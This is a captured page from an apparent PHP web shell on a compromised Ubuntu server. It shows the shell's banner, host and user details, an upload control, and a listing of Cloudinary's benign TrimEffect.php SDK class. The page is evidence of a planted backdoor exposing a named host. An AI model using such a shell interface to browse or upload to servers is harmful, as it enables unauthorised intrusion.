GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/html/vendor/cloudinary/transformation-builder-sdk/src/Transformation/Shape/TrimEffect.php
<?php
/**
 * This file is part of the Cloudinary PHP package.
 *
 * (c) Cloudinary
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Cloudinary\Transformation;

use Cloudinary\ClassUtils;
use Cloudinary\Transformation\Argument\ColorValue;

/**
 * Detect and remove image edges whose color is similar to corner pixels.
 *
 * @api
 *
 * @see \Cloudinary\Transformation\ReshapeTrait::trim()
 */
class TrimEffect extends LimitedEffectQualifier
{
    /**
     * @var array $valueOrder The order of the values.
     */
    protected $valueOrder = [0, 'color_similarity', 'color_override'];

    /**
     * Trim constructor.
     *
     * @param      $colorSimilarity
     */
    public function __construct($colorSimilarity = null)
    {
        parent::__construct(ReshapeQualifier::TRIM, EffectRange::PERCENT);

        $this->colorSimilarity($colorSimilarity);
    }

    /**
     * Sets the tolerance level for color similarity.
     *
     * @param int $colorSimilarity The tolerance level for color similarity.  (Range: 0 to 100, Server default: 10)
     *
     * @return TrimEffect
     */
    public function colorSimilarity($colorSimilarity)
    {
        $this->value->setSimpleValue('color_similarity', $colorSimilarity);

        return $this;
    }

    /**
     *
     * Overrides the corner pixels color with the specified color.
     *
     * @param string $colorOverride The color to trim as a named color or an RGB/A hex code.
     *
     * @return TrimEffect
     */
    public function colorOverride($colorOverride)
    {
        $this->value->setSimpleValue('color_override', ClassUtils::verifyInstance($colorOverride, ColorValue::class));

        return $this;
    }
}